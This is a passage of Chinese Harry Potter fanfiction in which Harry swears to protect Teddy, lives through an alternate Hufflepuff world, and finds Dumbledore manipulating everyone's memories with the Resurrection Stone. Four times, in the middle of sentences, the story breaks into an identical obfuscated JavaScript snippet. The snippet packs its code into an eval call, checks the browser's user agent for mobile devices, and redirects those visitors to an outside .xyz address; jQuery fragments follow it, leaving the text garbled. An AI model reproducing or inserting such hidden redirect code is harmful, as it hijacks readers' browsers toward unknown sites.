唐克斯庄重地吻在儿子的额头,水珠一滴一滴烙在泰勒的脸上;终于她再也收不住她的泪,抱住她的卢平也红了眼眶。泰勒似乎能明白父母的话:他不哭不闹也不笑,睁着圆圆的眼睛看着眼前发生的一切。那个粉红头发的身影和瘦高瘦高 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16193142|181117||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的身影重重又叠叠,缓缓而又深深地印在他的视线里,越来越模糊,越来越清晰。 “哈利,你来。” 哈利穿过正在抹眼睛的人们,来到泰勒身前。卢平屈膝,在他的一生里唯一一次仰视这个他最好的朋友的孩子: “你是他的教父。哈利,我们拜托你,教给泰勒做人的道理,教给泰勒判断是非的清醒,教给泰勒爱人和被爱的能力。哈利,你是这样走来的,我们希望你,领着小泰勒也这样昂首挺胸走一次。我们不需要他和你一样伟大,但希望他和你一样正直、勇敢、善良、坦荡。” “亲爱的哈利,我们相信你,我们拜托你。” 哈利没有点头,而是郑重地拿出了他的魔杖。在唐克斯和卢平惊愕的目光里,他握住了卢平的右手。 “麻烦你也拿出魔杖,唐克斯。我想,此时需要一个牢不可破的誓言。” “不哈利,不用这样———” “需要的,卢平教授,这也是为了我自己。你说过的,我是这么走过来的。我不希望泰勒经历我经历过的苦,你可以把这看作我对年少那个我的救赎;也可以看作我对自己的鞭策———泰勒是新生儿,是未来,是希望,就算是为了泰勒,我也必须打破幻境,让一切回到原来的位置。” “教授,让誓言见证,不需要操纵复活石,我们自己就可以为未来的走向做出理想选择!” 沉默中对视之后,唐克斯走上前,站在两人身边,把魔杖头点在他们相握的两只手上。 卢平说话了。 “哈利,在泰勒长大成人的过程中,你愿意照看他吗?” “我愿意。”哈利说。 一道细细的、耀眼的火舌从魔杖里喷了出来,就像一根又红又热的金属丝,缠绕在他们相握的两只手上。 “你愿意尽你最大的能力,保护他的心灵不因父母的缺位而扭曲吗?” “我愿意。”哈利说。 第二道火舌从魔杖里喷了出来,与第一道缠绕在一起,构成一根细细的、闪着红光的链条。 “你愿意教给泰勒做人的道理,教给泰勒判断是非的能力,教给泰勒爱人和被爱的能力,领着他走上人间正道,陪他看他的父母所期望的世界吗?” “我愿意。”哈利说。 唐克斯洁白的婚纱被第三道火舌的光映得通红明亮,火舌从魔杖里喷出,与前面那两道交织在一起,紧密地缠绕在他们相握的两只手周围,像一根绳索,更像雄狮的鬃毛。 一切都好。 哈利心中,还有一道火焰在悄然喷薄: 我愿意尽我的最大努力,担起我的使命,做被期望的一切,行我应该做的一切。 火焰熊熊燃烧。火焰在亲吻太阳。 今天,哈利是火的光芒。 …… …… 天边。晚霞泛起。群鸟归巢。 人群散去,各自归位,为之后的战斗做准备。哈利回到宿舍时,发现床上有一张纸条: 明晚八点,校长办公室见。又及:我喜欢吃柠檬雪宝糖。———你的阿不思·邓布利多。 19. 假如哈利被分到了赫奇帕奇 哈利醒来时,坐在一列高速行驶的火车上。 身边坐着的男孩正在忙着换上一件怪异的黑色长袍,他的同伴正七嘴八舌讨论着些“霍格沃茨”“分院帽”等哈利听不懂的词汇。天色已暗,但还能看到窗外正快速变化的图案。 哈利想不明白。 他依稀记得睡着前自己正坐在德思礼一家的车,跟满脸不爽的达力挤在一块儿前往动物园。因为前一天睡得太晚,他在车上打起瞌睡,再一睁眼,就来到这里。哈利疑心自己还在做梦,可是空气里的柠檬味道一次又一次刺激着他的鼻腔,提醒着他:他和所有人一样清醒。 换好长袍的男孩偶然向哈利的方向看了一眼: “嘿,伙计们!这个睡了一路的小子醒了。他看起来可真像一个泥巴种!” 哈利这才打量了一下眼前这个有些傲慢的男孩:浅金色头发、扬起的下巴、锃亮的皮鞋。哈利听见男孩的同伴叫他: 德拉科少爷。 哈利不是很想跟这三个莫名其妙的家伙说话。他起身,走向别的车厢,试探着能不能遇见精神正常一点的人。他推开门,新的车厢里面闹哄哄坐了一群年纪稍长的人。他们也穿着怪异的长袍,袍子上还带着徽章。一个红头发男孩起身向哈利走来,拿捏着介于礼仪与装腔之间的姿态地伸出一只手: “珀西·韦斯莱,格兰芬多级长。你是一年级新生吧?叫什么名字?我们马上要到霍格沃茨了,你为什么还不换上长袍呢?” 在同珀西·韦斯莱的交流里,哈利勉强弄清了自己的处境。他坐在一列通往霍格沃茨的特快上,目的地霍格沃茨是一所培养巫师的魔法学校,这所学校一共分成四个学院,学院的学生彼此对立。 等等,巫师? “韦斯莱先生,我想你一定弄错了。我不是什么巫师———事实上,我以为巫师这个词只会在童话书里出现。” 哈利一边说,一边摊开手。他还穿着达力表哥不要的牛仔裤,旧衬衣洗得有些缩水,整个人显得与整个车厢格格不入。 珀西奇怪地看了哈利一眼,似乎要脱口而出一些什么词语。但胸前级长勋章的一点反光在理智边缘拉住了他,使他不打算做这与级长身份不符合的事———至少是他以为的。他收起了他的大吃一惊,用一种“不必大惊小怪”的语气告诉———或者通知哈利: “你的情况我清楚了。我会替你找一找麦格教授。据我所知,霍格沃茨并没有因为操作问题误把麻瓜放上火车的先例———但我们并不能完全排除这种可能。” 哈利刚要答话,火车到站了。韦斯莱没再分精力给他,迈着两条长腿迈出包厢。忙着维持从火车里涌出来的人群的秩序。哈利一边被人流裹挟着被动地向前走,一边怀疑德思礼一家是不是把他卖到了类似精神病院的地方。他对身处的一切保持着诸多怀疑,觉得自己置身许多人模人样的怪物中间———即使没有什么人精神失常,他也认为是不是这个霍格沃茨的什么人弄错了什么———正如那位韦斯莱刚刚说的那样————把他这个正常得不能再正常的11岁男孩带到这座城堡来———直到那位绿袍子女士大声念出他的名字: 哈利·波特。 …… 哈利没有其他选择。他不得不学着其他人的样子走上前,在上千只蜡烛的照耀里戴上那顶破旧的帽子。帽子会说话: 赫奇帕奇。 黄色为主色调的那张桌子旁坐着的人全部站起来鼓掌。 …… 哈利是一个接受能力很强的人。当他发现无法改变什么的时候,就以惊人的速度接受了这匪夷所思的经历。他借助珀西·韦斯莱给他科普的一点点关于霍格沃茨的知识,通过冒充麻瓜家庭出身———这里的人似乎是这样称呼其他预先不懂魔法的人———的巫师融入了这个到处布置着黄色装饰的学院。 哈利黑魔法防御课和魔药课都很有天赋————教授黑魔法防御课的卢平教授甚至反复跟他确认: “你真的是赫奇帕奇吗?” 整个霍格沃茨都知道,新一届的赫奇帕奇不出饭桶,出了个天才。胖胖的院长女士高兴地宣布,赫奇帕奇终于又迎来了一个纽特式的人物———“或许在不远的将来,我们就能再次在教材上看见我们赫奇帕奇学生的名字。”———哈利在火车上见过的德拉科·马尔福对此嗤之以鼻。他每次见到哈利都会恶狠狠地用口型做出那个恶毒的词: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16193143|181117||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 泥巴种。 哈利并不在意。他不是传统巫师家庭出身,因此并不像那些为他打抱不平的朋友们一样对这个词有什么特别的感觉。他察觉到这个斯莱特林同学的不友好,但没觉得有什么大不了———只是一个词罢了,和达力·德思礼那些捉弄人的手段相比简直连挠痒痒都不是。 哈利渐渐喜欢上了霍格沃茨。在这里,他交到了真正友好的伙伴,不需要应付德思礼一家的丑恶嘴脸;他第一次感受到心动的感觉———遇见那个叫秋·张的东方女孩;他甚至品尝到了荣耀的甘甜———作为霍格沃茨有史以来最年轻的找球手,他为赫奇帕奇赢得了第一次魁地奇球赛胜利。 在这里,哈利有了家的感觉。 或许是因为赫奇帕奇本身是一个温和的学院的缘故,在整个学校里没有太过鲜明的立场站队,没有格兰芬多和斯莱特林那种“一山不容二虎”的争锋想法,也不采取拉丁文劳那样自成一派的孤僻————哈利和其他学院的同学的相处就和赫奇帕奇跟其他学院的关系一样不太糟糕。格兰芬多的罗恩·韦斯莱教会他巫师棋,赫敏·格兰杰会同他就某一个魔咒展开激烈的讨论,他帮纳威·隆巴顿找到过乱跑的蟾蜍,拉丁文劳的卢娜·洛夫古德送过他一本《唱唱反调》。二年级期末,他们联手救出了误闯密室的德拉科·马尔福,从此和斯莱特林的关系也大为改善。 哈利在霍格沃茨的前五年一切正常,上课,完成作业,泡图书馆,去霍格莫德村;除了伤疤偶尔有些疼———对了,哈利的额头上有一道闪电型的伤疤,但没人告诉他伤疤的来历。 五年级的一节保护神奇动物课。海格教授领着他们来到禁林边缘: “今天带你们看夜骐。” “教授,我们为什么能看到夜骐?”赫敏问。 海格挠挠脑袋,答不出来。愣在那里的不止是海格,学生们集体陷入沉思。卢娜象征性地掏出一副眼镜,戴上,取开,换个方向重新戴上。她梦呓似的说着些什么话,靠近她的人没有谁听得明白。 哈利压根没听见卢娜的声音,因为此时他的伤疤正火烧一样的疼: “我为什么一直跟着德思礼一家生活?我的爸爸妈妈呢?” 20. 假如哈利翻开了《唱唱反调》 赫奇帕奇宿舍。 月色撩开窗帘,钻石一样的光镶嵌在墙面上。哈利在整理他的一只箱子。箱子有些旧,陪了哈利五年有余。自从8月31日日那天从火车上醒来并混着人流来到这座城堡里,这支小皮箱就作为他唯一的行李就被专门的人跟着送来他身边———那是如今他心中唯一可以称作“家”的地方。 箱子里有一些零碎的小玩意:哈利一时也想不出它们的来历———一颗会自己移动的纽扣,一支写出的字会消失的羽毛笔,一张揉得有些皱、还带着柠檬香的糖纸。哈利拿起那张糖纸,放到鼻间闻一闻,微微的刺激性气味让他清醒了几分,渐渐抽离下午保护神器动物课上那种眩晕感。 他晃眼看到床头摆着的一本杂志。拿到跟前,才发现是卢娜送的《唱唱反调》。关于这本杂志的话题不是太少也不是太多,但总结起来就是都离不开一个话题:主编似乎有些神魂颠倒了。哈利之所以保留着这本杂志,不仅是因为它是哈利收到的第一份像样的礼物,更因为卢娜·洛夫古德把杂志递给他时顺口说: “哈利,我拿给你这本和其他有一点不一样———它是我自己编辑的,不经过我爸爸的手。” 不知道为什么,哈利的记忆里自己从来没有翻开过这本杂志,于是徘徊在无聊的荒漠里的他还是于今夜将它拿起。纸张有些褶皱了,某几页的边角像是被人揉搓过几百次。 卢娜送的《唱唱反调》与其说是杂志,不如说是一本故事集。这本故事集很符合它名字里那个“反”字———因为它虽然是以现实里的人物为蓝本,却做了一些小小的调整,比如把哈利分进格兰芬多,比如给哈利增加了一段英雄般的传奇身世。 在卢娜的叙述里,他们一开始并不相识。卢娜隐约知道学校里有这么一个人,一年级保护了魔法石,二年级对抗了蛇怪,四年级捧得了火焰杯。 卢娜给哈利他们能看见夜骐这件事安排了一个毫无漏洞的理由:在《唱唱反调》德世界观里,有一场所有人都被迫卷入的战斗:他们不问归期对抗着一个被称作神秘人的人———一个连名字都不能提的人。 哈利一直读,渐渐忘了时间。城堡以外明月高悬,宿舍之内页面翻动,纸张纷飞,文字游走。各种情感交融,心绪暗涌,一刻不停。就像不断张张合合手掌,去握一捧流沙:哈利费力地克服着不断到来的遗忘,想尽办法多记住哪怕一个字。 《唱唱反调》内容已经读完七分之四,纸面上正在跳跃的文字描绘着五年级开学的场景。夜间起过雨,霍格莫德车站外那条黑乎乎的街道被雨水冲刷过,来接学生们的是约一百辆马车。 卢娜替罗恩提着一只叫“小猪”的猫头鹰安慰同乘一辆车的哈利: “你不会变疯什么的。我也能看见他们。放心吧,你的头脑和我一样清醒。” 现实在那一刻与文字重合,或者说三棱柱折射的光影随着角度的移动终于不再迷障观者视线,沙粒一颗一颗逆着重力收回手里,哈利握住拳头,至此聚沙成塔,一切还原。在火车上醒来之前的空白开始胡乱地挤进乱序的内容,张张昔日面孔,浮现眼前;桩桩从前旧事,以往可谏如来者可追。 “卢娜,我们可以坐在这里吗?” 记忆拨回现实里火车上他们的第一次见面,时间线的摇摆暂停在那里。金妮带着哈利推开卢娜所在包厢的门,卢娜用一双浅色眼镜一个劲儿地盯着这个浑身不自在的男孩: “你是哈利·波特。” 她用唱歌般的声音说,并高高举起一本颠倒着拿着的《唱唱反调》挡住自己的脸。哈利观察着自己的过往,直到卢娜手里的杂志渐渐翻转,变成他如今手里拿着这本的模样。 暂停结束,记忆流转,逆向的空间被染上深蓝色,哈利知道,一切还没有完全还原。 他顺从地站在深蓝色的记忆里往回看,看见自己好奇地站在一面镜子前。镜子里,孤零零地只站着哈利自己,但哈利听格兰芬多的纳威说过: 同属格兰芬多的罗恩看见了镜子里的成为级长的自己高举起魁地奇球杯。 不知道什么时候来到他身边的卢娜第一次发出清晰的声音: “哈利,你也看不见自己内心深处最真实的渴望吗?” 哈利不知道自己怎么行动起来的,等他反应过来,两条腿已经自动地跟着卢娜向前奔跑。哈利不懂得心里那份信任从哪里来,但他们已经跑进禁林深处。白雾渐浓,回首已不见来路。 “等等卢娜,这很危险!这里是禁林———” 哈利突然住了口。他跟着卢娜,轻松地从禁林边缘穿出,来到了一片完全白茫茫的世界———和雾气环绕时不同,这里的白茫茫更趋向于一种未经打磨的虚无。 “这里是哪里?禁林之外有这样一番天地吗吗?” “不是的哈利,这是这个世界的边界。或许构建这个世界的人从来没想过,在没有隐形衣的条件里,依然有人有勇气独闯禁林;再加上他也自信没人知道禁林之外应该是什么样子————所以他或许没有构建禁林以外世界的模样。” “所以……” “所以你不在现实里。快回去,哈利!人们都在等着你!” 一团乱麻的时间线收束,时间的河流继续流淌。白茫茫的世界里哈利感觉到自己正在徐徐上升,穿过展翅的鹰,潜伏的蛇,有一只狮子昂着头颅发出怒吼。头顶张开一个圆形的出口,在无限接近出口时,哈利终于意识到原来霍格沃茨的四个学院自己都已经去过一遍。 “这是送你的礼物,是我自己编辑的,你一定记得反复看哦!”…… “所以你不在现实里。快回去,哈利!”…… “哈利,给自己一点时间,当你希望 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16193144|181117||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 做出选择的那一天,就抛起这枚硬币,一面去,一面留,你会找到答案的。”…… “你是哈利·波特。”…… 第一次在格兰芬多,以英雄之名、勇士之义,斗难匹敌之邪于途,抗不可忍之恶而不轻言弃;第二次在斯莱特林,虽曾徘徊于寂寥间,欲抽身而逃纷争外,终遇良友知己而结伴,跨成见而修交桥;第三次在拉丁文劳,为不可知所囿仅一瞬之间,有月光融融照于心,遂通透明朗,洞察其异;第四次在赫奇帕奇,携一身懵懂迷茫而来,托真心而遇真友,诚者而达通途,于友谊间解迷途、踏坦途…… 说来也巧。在格兰芬多,哈利怯懦过那么多次,终于在最后的时刻拾起勇气;在斯莱特林,哈利曾被血统与家族之争隔离在外,却终因新生代之间的交互摩擦里冲破世俗的偏见,达成前所未闻的团结;在拉丁文劳,点醒哈利的不是对逻辑推理或者魔法魔咒的精通,而是卢娜梦呓一般对世界边界的模糊直觉;在赫奇帕奇,友谊的到来弥补了孑然一人的哈利内心的空白,使他充盈,使他拿到钥匙,使他推开这扇门,来到真相面前。 在不同的经历里,哈利都成为了很好的人。 那么,既然光已经照进来,哈利就沿着光推开门往前走。魔方般的世界不断被打乱,层层变化又旋转,好在一次次尝试计算后,已只剩最后一排色块。 哈利往前走。门后站着一个人。 阿不思·邓布利多。 空气里再次涌进那股浓浓得甜得有些发腻的柠檬甜气,顺着哈利的鼻腔勾起一团团毛线一样的片段: “你好哈利,请原谅我刚刚的一点恶趣味。我是阿不思·邓布利多。我来接你开启一段新的生活。” “莉莉还活着,这已经能说明很多问题了,不是吗?” “我知道你有很多疑问,以后我会慢慢解释给你听的。” “好了哈利,告别的时刻到来了。但我们很快会再见面的,我保证。” “西弗勒斯,你得跟我一起去趟美利坚。麦格教授他们也将与我们同行。” “蛇怪?哦,别担心,这没什么大不了的。我会把密室关上———相信密室里应该不会关着误闯的学生。” “有人操纵了一颗名叫复活石的石头,使我们的意识都被困在这里。” “神秘人在现实里真实存在。但与他对抗并一次次拯救所有人的不是纳威·隆巴顿,而是哈利·波特。” “不要妄自行动,一切听我安排。” 这位白发苍苍的老人依然像之前每一次和哈利单独上课一样和蔼,笑眯眯地扶了扶鼻梁上架着的半月型眼镜。他的语气就跟询问“明天星期几”或者“明天天气怎么样”似的轻松随意,尽管在不经意间他和哈利的手上都不约而同出现了一根魔杖: “晚上好,哈利,来一颗柠檬雪宝糖吗?” 21. 假如哈利真正的对手终于出现 为什么,邓布利多教授?…… 两个小时前。哈利拿着邓布利多给他留的纸条,快步穿过空无一人的走廊,一直走到石兽面前。带着点紧张也带着点兴奋,他对着石兽报出口令: 柠檬雪宝糖。 石头怪兽跳到一边,它身后的墙壁缓缓分成两部分,露出后面的一道活动的螺旋楼梯。哈利跨上去,楼梯开始一圈圈旋转爬升,越升越高,最后来到了那扇紧闭着的带有黄铜门环的邓布利多办公室门前。 哈利敲了敲门。 “请进。”是邓布利多的声音。是熟悉的那种令人心安的感觉。 就像之前每一次和邓布利多一起的学习、训练甚至是战斗一样,哈利总能感受到一种浓浓的踏实感。似乎无论发生什么,都有邓布利多在前面扛着;无论浓雾有多大,邓布利多总能点亮前方的光。现实里绿光一闪塔楼一别,哈利以为自己不得不脱离这位当代最伟大的巫师的羽翼,在惶恐不安的猜测与尝试里独自去闯荡那一场没有光亮的暴风雨———那是哈利最残忍的成人礼,却不曾想还有与这位老人并肩同行的机会。 哈利高兴地推开有些沉重的办公室门,屋子里兀的闪过一阵不怎么友好的白光,刺得他短暂眯起眼睛又赶紧挣开。之后天旋地转,土块上浮,雾气升腾,模糊周遭;再然后,火车上的哈利就从梦中醒来。 醒来的时候,夜色更深了。踩在地毯上,依然隐隐有些重力混乱的感觉。过去的两个小时,与其说是做了一场梦,似乎更像是,进入了一个巨大的冥想盆? 但没时间让哈利多想。一瞬间的功夫,魔杖就已经握在他的手里。他面前站着的是阿不思·邓布利多———伏地魔唯一畏惧的巫师,也是他,哈利·波特的老师。一身所学,多出于此;所走之路,亦由此生。而今拔出魔杖,二人相对,哈利自问:该何去何从? 该何去何从?这或许是邓布利多给哈利上的最后一课,残忍,而且悲伤。 他们现在所站立的这间圆形办公室并不让哈利感到陌生:细长腿的桌子上放着许多造型精致的银器;像框里的老校长们一个个都睡得香甜;门关得不太严实的柜子里放着什么小玩意,不知疲倦地喷出一小股一小股的烟雾;窗子开着,那只庄严气派的凤凰福克斯还没有飞回来。现实里,六年级那年哈利来过这里好多次。那时邓布利多还是善良和蔼的老人,他的一只手因为复活石的缘故变成了焦黑色,但这并不影响他凭借着他的智慧带着哈利穿行在一段又一段旋转漂浮的银白色回忆里。 “好了,哈利,让我们走进黑夜,去追逐那个轻浮而又诱人的妖妇———冒险吧。” “因为你和我在一起,这就没事了,哈利。” “我想,哈利,你肯定在纳闷,我打算怎么给你上课?” “从现在起,我们就要离开坚实的事实基础,共同穿越昏暗模糊的记忆沼泽,进入错综复杂的大胆猜测了。” “这一次,你跟我一起进入冥想盆……” “你发誓要服从我的,哈利———快去!” …… “为什么啊?先生,你告诉我为什么?” 哈利极力掩饰语气里的哽咽,泪水却先理智一步一颗一颗烙在地毯上。他的眼眶通红,呼吸不能平复。他们曾经一起寻找最后那块拼图。可是现在,学生还是那个学生,老师却不再是记忆里的老师了:邓布利多亲手把那副画拆解开碎成片。哈利茫然地看着满世界毫无规律地乱飘的图块,看那些充满往日回忆的五颜六色一点一点融化在虚无中。 为什么呢?可是邓布利多,为什么呢? 哈利突然想起自己曾经怀疑斯内普的重要原因之一,就是他负责治疗为复活石的魔力所伤的邓布利多,因而知道复活石的存在和用法。可他心中幼稚的信赖使他一直忽略了一个细节: 为复活石所伤的邓布利多,也对这块石头足够了解。 邓布利多显然没有哈利那样起伏的情绪波动。他穿一件深紫色的长袍,鹰钩鼻上稳稳架着那副半月型眼镜,偶尔折射出镜片后那双锐利的眼睛里淡定的神情;他那银白色的头发和胡子一直垂到腰际,平静得没有一丝摇摆或者颤动。邓布利多就像没有听见哈利的话也没有注意到哈利情绪的失控一样,继续表演着他的亲切随和: “先别管那个,哈利,坐吧。”邓布利多挥一挥魔杖,拉过来一把空椅子,“刚刚的两个小时,或者更准确的说,从现实进入这里开始,你过得怎么样?” 哈利谨慎地看着邓布利多的手,并不敢贸然坐下,也不知道是否应该回答似乎已经站在对立面的邓布利多。老人显然并不乐意看到哈利的这番犹豫,在哈利反应过来之前,魔杖轻轻一挥,那把空椅子嗖地跳起来,撞在哈利的膝盖上。哈利没站稳,刚好被那把已经完成恶作剧并迅速挪到他身后的椅子接住。哈利一看,自己的胳膊也正规规矩矩地按在大腿上。 邓布利多又挥了挥魔杖,空中出现了一个酒瓶和两个玻璃杯。瓶子主动地给杯子里盛满黄澄澄的液体,邓布利多伸手端走其中一杯,另一杯则摇摇晃晃地飘到哈利面前。 “罗斯塔默女士最好的橡木催熟的蜂蜜酒。你喝过的,哈利,我记得你从前很喜欢这个味道。” 哈利苦笑:这场景很滑稽,邓布利多在女贞路4号做过几乎一模一样的事。哈利还记得那天的自己见到邓布利多时有多么惊喜雀跃,一晃眼,却是物是人非。 “哈利,我曾经告诉过你,等时间合适的时候,我会告诉你一切的。今天是一个很不错的时候,就我们两个人在这儿,也没什么多余的人或者事打扰———但哈利,我希望由你先回答我的提问:在这个世界过得怎么样?” “很不错。”哈利几乎是咬着牙发出了声音。 “你从前要带上称呼的,哈利,我不希望你弄丢你的礼貌。” “好的……先生。” 哈利悲哀的发现,明明已经来到真相面前,主动权依然牢牢握在邓布利多的手上。邓布利多强大的实力像一座山峰横亘在眼前,他压根没办法在邓布利多不配合的情况里从他的嘴里问出任何有用的信息。更可怕的是———这让哈利更觉悲伤———那份来自现实的情谊依然温柔地捆住了他的手脚,“先生”这个词又勾起了那份早已习惯的相信与依赖;他依然没办法坦然地向着昔日心中最敬爱最信赖的师长拔出魔杖,他甚至依然可笑地希望邓布利多能笑着抹去他脸上的眼泪,然后温柔地说: “别担心,哈利,这只是我的一个小小的计划。” 就像现实里那样,不是吗?邓布利多也曾一度披上那么多可疑的伪装,只为了让哈利能够鼓起最终的勇气,奔赴最后的战场。 “先生,你告诉我,你和我站在一边的,好吗?你告诉我一切都不是你做的,你告诉我这只是你为了抓住真凶布置的一盘棋?先生你说话呀,先生……你只要点头,我就信!” 邓布利多依然微笑着,可是在这种情况里他的微笑逐渐变得残忍。 “哈利,什么叫这一切?什么叫真凶?你仔细想想,来到这里之前的最后一刻,你经历了什么?” 哈利的眼前闪过一道绿光,还有来自伏地魔的嘶吼与狂笑。他来到禁林,穿过禁林,他为什么这样做,禁林里等着他的是什么…… “所以,哈利,如果不是复活石,你以为你会是什么样呢?”邓布利多的语气变冷了。 “哈利,我害怕你痛苦,所以费了很大力气剥夺了你的这一小段记忆,使你的回忆停留在进入禁林打开金色飞贼的那一刻……事实上,哈利,如果不是你的固执,如果不是斯内普不识好歹一定要教会你大脑封闭术,你压根不需要经历这些痛苦,只需要好好地享受霍格沃茨的新生活便是———说到底,你还是害怕这种痛苦的是不是?不然,面对已经学会大脑封闭术的你,又怎么会因为我的小小干预就轻而易举地忘记了记忆里最痛苦的一部分?” “可是先生,你不是说过,复活石并不能让人真正复活吗?” “那不然呢?你以为你见到的真是什么斯内普、小天狼星、卢平、唐克斯、弗雷德吗?他们都只是一些记忆体罢了,”邓布利多不知道为什么也变得激动起来,他没用魔杖,而是就甩着双手“砰”的打开一旁的柜子,里面凌乱地放着许多小玻璃瓶,邓布利多随手拿起一个,递到哈利的面前,让他看清里面随着瓶身晃动而流动的银白色液体,“就是这些,他们是这些记忆的提取物,我费了好些力气,把他们的记忆凝聚成型,灌进我为他们各自造的躯体里,使得这些躯体替代他们活在这个世界里。” “谁能想到呢,”邓布利多很不明显地抽了抽鼻子,“这些疯子哪怕跟从前的他们压根不是同一个人,还是活得跟从前的他们一模一样……” “但是没关系,”邓布利多又露出了笑容,“我把他们都恢复成记忆装进瓶子里了。哈利,你有好奇过你为什么没在拉丁文劳版本的世界或者赫奇帕奇版本的世界里遇见他们中任何一个人吗?很简单,因为他们我没有为他们在那两个世界里再造躯壳———哈利,他们把你保护得太好了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16193145|181117||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 太好了,好得让我没办法把你逼上另一条路!所以我不准他们干涉我,不准他们去那个世界里把你拉出泥沼……可是哈利,你为什么,为什么还是没有变成一个坏巫师呢?” “我尝试过那么多种方法,把你分进斯莱特林————我原本指望着你在斯莱特林变成新的汤姆·里德尔,可是你竟然可笑地把几个学院团结在了一起,你不记仇吗?你没有受到马尔福的影响,生出对血统的成见吗?你为什么不攀结权贵呢?你为什么不攻击其他学院呢?你为什么不自私自利一点,甚至愿意冒着被敌视的风险去密室救欺负你的人呢?你一点也没有因为周遭的孤立而怨恨他人吗?你在塔楼顶上的时候,你在尖叫棚屋的时候,就一次也没想过,使一些手段,像汤姆·里德尔一样,让他人对你唯命是从吗?还有赫敏,罗恩,纳威,他们到底是怎么掘弃成见,选择相信来自斯莱特林的你的?更奇怪的是,我当着那么多人的面宣布你才是真正的英雄人物,为什么没有引起你和纳威之间的矛盾呢?你们俩,为什么都能做到这么大度呢?我甚至让你们所有人恢复了记忆,我相信你们都不会愿意回到那场与伏地魔无止休的对抗里……可是你们没有一个人软弱———甚至你,见到了在现实里从未拥抱的妈妈的你———都被你的同学从软弱中唤醒。哈利,为什么?” “我当然意识到斯内普、小天狼星、卢平、唐克斯还有弗雷德他们或许弥补了你对情感的需要———他们带着原先的记忆,推动着你做出正确的选择尤其是斯内普教的大脑封闭术———我没想到他能坚持这么久,区区一个记忆体,竟然能扛过我对记忆的修改与捏造———直接动摇了这个世界的运行逻辑……所以我得想办法再来一次———让你没有斯内普这群人的帮助,让你忘记你的来路,且不能让你去斯莱特林,重复度太高,而且斯莱特林这个世界本身就是其他模块搭建的基础,你一定会发现————可你还是发现了,即使你在拉文克劳……都是因为卢娜,她究竟是怎么发现的那个世界的漏洞,她这种独一无二的天赋实在是太可怕了,眼镜看漂浮,禁林闯白雾……所以我决定让你去赫奇帕奇再试一次了。我抹去了你所有的记忆,不给你任何与魔法有关的铺陈,在斯莱特林世界的基础上,让你忘记你已经见过我并自行登上特快的这一段经历,把称得上一无所知的你扔进霍格沃茨最没有存在感的学院:这个学院没有跟你羁绊很深的罗恩赫敏,没有正直得叫人吃惊的纳威,对一切界限都有种说不清道不明的敏感的卢娜也不在这个学院,甚至连马尔福都跟这个学院毫无牵连……我等着自卑的情绪把你淹没,哈利,我等着那种痛苦扭曲你的心灵,因为我懂得你的野心……可是你没有,你在赫奇帕奇大放异彩,广交好友。你为什么从来不因为赫奇帕奇的身份自卑呢?你为什么没有因为进入巫师界时的一无所知而自卑呢?你为什么一直那样积极主动地去获取你想要的信息、你渴望的情绪……直到你的友情再次把你拯救———我已经限制了卢娜说出真话的行为,可让人意想不到的是,她竟然借助了《唱唱反调》来写这段往事———世界观默认了这本杂志与现实相反,竟然没有察觉卢娜在其中做的小手脚————她的记忆为什么就是涂改不了呢———话说回来,你能收到其他学院的同学送的礼物,还愿意读这么多遍———虽然你自己并不知道————本身也足够令人惊奇了……哈利,你为什么总是能获救呢?” “我一直在观察,哈利,我观察了很久……我控制变量,比对情形,寻找不同世界里你的经历的相似性。最后我明白了,是因为友谊,不管在哪个学院,友情总是会敲响你的门,救你于水火,引你走正途……” “所以……”邓布利多看了哈利一眼,“你要不要猜一猜,这些瓶子里装着的都是谁的记忆?” 他可以让他们想起,可以让他们忘记。他只需要挥一挥魔杖,就能抹去这里的人关于现实的回忆。希望看到他们对现实的恐惧时,他借着大脑封闭术教学的由头释放了所有玻璃瓶里的液体;希望看到他们反目成仇时,他把它们收回瓶里。 “我不知道这个世界里的他们是怎么来的,但我料想,既然都是本体意识的投影,原理应该和我复制斯内普他们基本相同。抽离他们真正的记忆,他们就只会按照我所安排的一切行动。” “现在是检验时间……” 